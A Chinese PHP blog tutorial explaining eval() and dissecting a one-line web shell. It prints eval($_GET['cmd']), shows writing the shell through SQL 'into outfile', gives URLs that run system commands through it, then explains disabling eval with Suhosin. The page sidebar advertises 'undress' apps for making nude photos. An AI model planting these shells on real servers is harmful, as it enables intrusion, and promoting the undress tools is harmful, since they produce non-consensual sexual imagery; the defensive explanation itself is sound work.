eval函数简介与PHP一句话木马剖析
eval函数简介与PHP一句话木马剖析 大家好我是Carol,我的QQ是:906871417 一:eval函数 1. eval() 函数把字符串按照 PHP 代码来计算。 2. 该字符串必须是合法的 PHP 代码,且必须以分号结尾。 3. 如果没有在代码字符串中调用 return 语句,则返回 NULL 。如果
eval函数简介与PHP一句话木马剖析
大家好我是Carol,我的QQ是:906871417
一:eval函数
1.eval() 函数把字符串按照 PHP 代码来计算。
2.该字符串必须是合法的 PHP 代码,且必须以分号结尾。
3.如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
二:eval函数的一般用法
$string = "beautiful";
$time = "winter";
$str = 'This is a $string $time morning!';
echo $str. "
";
eval("\$str = \"$str\";");
echo $str;
?>
输出
This is a $string $time morning!
This is a beautiful winter morning!
三:eval函数的特殊用法
eval($_GET["cmd"]);
四:php一句话挂马的原理
1.通过数据库写马:
select "" into outfile "D:\\phpStudy\\WWW\\bb.php",不过这个命令是DB和web在同一台机器的时候可以这样执行
2.通过web写马
eval($_GET["cmd"]);
?>
访问:
http://localhost/aa.php?cmd=fwrite(fopen("aa.txt", "w"),"hello,world!");
查看php的shell信息:
http://localhost/aa.php?cmd=phpinfo();
查看当前运行的服务
http://localhost/aa.php?cmd=system("net start");
五:禁用eval函数
无论是linux服务器还是windows服务器,eval命令是非常危险的
如何禁用eval命令
在php.ini中这样设置disable_functions =eval是无法禁用eval的,根据php手册说明,eval是一个语言构造器而不是一个函数。如果要禁用eval,则需要第三方扩展,使用Suhosin
linux下安装:
php的安装就不写了
suhosin的安装
wget http://download.suhosin.org/suhosin-0.9.23.tgz
tar zxvfsuhosin-0.9.23.tgz
cd suhosin-0.9.23
/usr/local/php/bin/phpize //这一步不能省
./configure --with-php-config=/usr/local/php/bin/php-config //必须在这儿注明php-config所在的绝对路径。
make
make install
Installing shared extensions: /usr/local/php/lib/php/extensions/no-debug-non-zts-20060613/
然后在php.ini中增加一行下列语句。
extension=suhosin.so
suhosin.executor.disable_eval = on
参考文档: http://ju.outofmemory.cn/entry/29300

Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

AI Hentai Generator
Generate AI Hentai for free.

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics



PHP 8.4 brings several new features, security improvements, and performance improvements with healthy amounts of feature deprecations and removals. This guide explains how to install PHP 8.4 or upgrade to PHP 8.4 on Ubuntu, Debian, or their derivati

Working with database in CakePHP is very easy. We will understand the CRUD (Create, Read, Update, Delete) operations in this chapter.

To work with date and time in cakephp4, we are going to make use of the available FrozenTime class.

To work on file upload we are going to use the form helper. Here, is an example for file upload.

CakePHP is an open-source framework for PHP. It is intended to make developing, deploying and maintaining applications much easier. CakePHP is based on a MVC-like architecture that is both powerful and easy to grasp. Models, Views, and Controllers gu

Validator can be created by adding the following two lines in the controller.

Logging in CakePHP is a very easy task. You just have to use one function. You can log errors, exceptions, user activities, action taken by users, for any background process like cronjob. Logging data in CakePHP is easy. The log() function is provide

Visual Studio Code, also known as VS Code, is a free source code editor — or integrated development environment (IDE) — available for all major operating systems. With a large collection of extensions for many programming languages, VS Code can be c
